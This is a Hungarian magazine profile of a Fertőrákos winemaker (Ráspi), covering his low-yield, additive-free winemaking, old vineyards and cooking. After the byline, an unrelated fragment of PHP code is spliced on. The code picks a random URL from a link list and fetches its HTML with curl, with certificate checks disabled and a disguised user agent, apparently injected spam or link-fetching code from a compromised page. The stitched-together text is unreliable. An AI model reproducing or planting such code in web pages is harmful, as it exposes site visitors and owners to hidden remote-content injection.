Borászvallomás – “Amiért élek…”

Az extrém hozamkorlátozásról és kézműves étterméről híres fertőrákosi borász igazi megosztó személyiség. Egyesek imádják és tisztelettel veszik körül, mások egyáltalán nem értik borait. Anyám terhes volt velem, apám akkor is kivitte a szőlőbe kapálni, így bár negyvenhét éves vagyok, de már „negyvennyolc éve foglalkozom borral”. Már hét-nyolc évesen tudtam szőlőt oltani, a borászatot nem iskolában... Tovább..

Ráspi a Fertő-tónál

Az extrém hozamkorlátozásról és kézműves étterméről híres fertőrákosi borász igazi megosztó személyiség. Egyesek imádják és tisztelettel veszik körül, mások egyáltalán nem értik borait.

Anyám terhes volt velem, apám akkor is kivitte a szőlőbe kapálni, így bár negyvenhét éves vagyok, de már „negyvennyolc éve foglalkozom borral”. Már hét-nyolc évesen tudtam szőlőt oltani, a borászatot nem iskolában tanultam, hanem apám mellett a pincében.

Szobrokat faragtam kőből, fából, márványból – már gyerekként is sokféle dolog érdekelt, Ezekben is a természetességet, a szépséget és a harmóniát kerestem. Mindig foglalkoztattak a miértek, az összefüggések, a törvényszerűségek. A 2000-es évek elején lehetőségem nyílt arra, hogy a borban is megvalósítsam saját elképzeléseimet.

Mindent meg lehet venni, csak az időt nem, ezért sok kicsi, de idős területet vásároltunk. Minden tőkénk legalább 50 éves, de vannak 100 évesek is. Alapelvünk, hogy a borvidékre jellemző szőlőfajtákkal foglalkozunk. Területeink huszonegy hektáron, hetvenhat helyrajzi számon vannak. Meggyőződésem, hogy a világ legjobb talaja itt van Fertőrákoson és környékén: csillámpala, mészkő és e kettő keveréke. Számomra ez a talaj az egyediséget jelenti. A világ legjobb borának pedig azt tartom, amelyik legszebben jeleníti meg az évjáratot és a borvidék sajátosságait.

Valamit mindig kitalálok, hogy a növény ne szokja meg a dolgokat, ne kényelmesedjen el, így hozza azt, amit várunk tőle. Folyton azt figyeljük, hogy mit akar a szőlő, így az adott tőkére van szabva a hozam. A hektáronkénti tőketerhelés nagyjából 1000 kilogramm. Az alapelveink közé tartozik az is, hogy a szőlőművelés során nem használunk rovar- és gombaölőket, műtrágyát és gyomirtót sem. A pincében a bor mindenféle adalékanyagok és fajélesztők hozzáadása nélkül készül, így sikerül megőriznünk a termőhely sajátosságait. 12, 24, 36 és 48 hónapos fahordós érlelés után palackozunk, minimális kén használatával.

A szőlővirágból szörp, az éretlen szőlőből verjus, a korai szüretből pezsgőalap, az utána következőből pedig rozé és siller készül – a szüretet megelőző válogatások során szinte mindent hasznosítunk. A szőlőmagból szőlőmagliszt, illetve szőlőmagolaj lesz.

2003-ban még szinte istenkáromlásnak, a trendekkel való abszolút szembefordulásnak számítottak az elképzeléseim. Sokan támadtak miattuk, ami engem még inkább megerősített az igazamban. A legnagyobb ellenlábasokból mára a legnagyobb úttörők lettek, és saját ötletként beszélnek azokról a dolgokról, amit korábban elleneztek.

Az olyan örök érvényű dolgokat szeretném megragadni, amelyek kétszáz évvel ezelőtt működtek, s kétszáz év múlva is igazak lesznek. Azt keresem, amit az Isten, a természet már kitalált. Nekünk ezeket kell felismernünk. Nem más akarok lenni, mint a többiek, s nem különcségből csinálom másképp dolgokat, hanem azért, mert azt gondolom, hogy úgy a jó. Észérvekkel meggyőzhető vagyok. Ha valaki bebizonyítja, hogy valami miért nem jó, akkor természetesen hajlandó vagyok megváltoztatni a véleményemet.

Nem szeretném, ha a bor ugyanoda jutna, mint a tej. A globalizált, szintetikus világban az emberek 90 százaléka nem képes meginni az olyan tejet, amelyik a tehén tőgyéből származik. A törvényszerűségek kivétel nélkül mindenkire vonatkoznak. A tejnek meg kell savanyodnia, a bornak pedig pár napos nyitott tárolás után meg kell ecetesednie. Ha ezt nem tudja, akkor az nem tej, illetve nem bor. Az a háromezerféle anyag, amely a bor készítésére, szépítésére felhasználható, azt eredményezi, hogy lassan már nem is tudjuk, milyen az igazi bor íze.

Tíz országban ismerik borainkat minden különösebb marketing nélkül. Máté cuvée borunk bekerült a Jancis Robinson-féle világatlaszba, s a jeles szakértő a Financial Times-ban is cikket írt a 2007-es Ráspi Zweigeltről. Borainkkal sohasem egy trendet vagy egy elvárást elégítünk ki, hanem mindig a terroir szépségét szeretnénk megmutatni. Éppen ezért szeretnénk visszahozni a borvidékre a furmintot is.

A legújabb őrületem a gyógynövények és hatóanyagok tanulmányozása, amibe beletartozik a szőlő is. Mivel minden fűszernövény egyben gyógynövény is, ezért ezeket szeretném az ételkreációimba beleépíteni, hogy ne csak kiváló és helyi nyersanyagokból készüljenek, hanem az életminőség javításához, és mintegy mellékhatásként az élet meghosszabbításához is hozzájárulhassanak. A mondás szerint ami egészséges, az rossz ízű, ezért is kihívás számomra, hogy olyan ízharmóniát alkossak, ami finom is. Az ételek készítésénél soha nem a meghökkentés vagy valamiféle divatőrület vezérelt, hanem a harmóniára törekvés.

Hogy Máté fiam követi-e majd példámat, azt még nem tudom. Fontosnak tartom, hogy minél több dologgal megismerkedjen, ezek közül neki kell kiválasztani, hogy mit is akar majd csinálni. Egy biztos: ő is szenvedélyes, akaratos személyiség.

Erős Zoltán cikke a 2014. februári Amiért élek VinCE Magazin-rovatban jelent meg.


html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>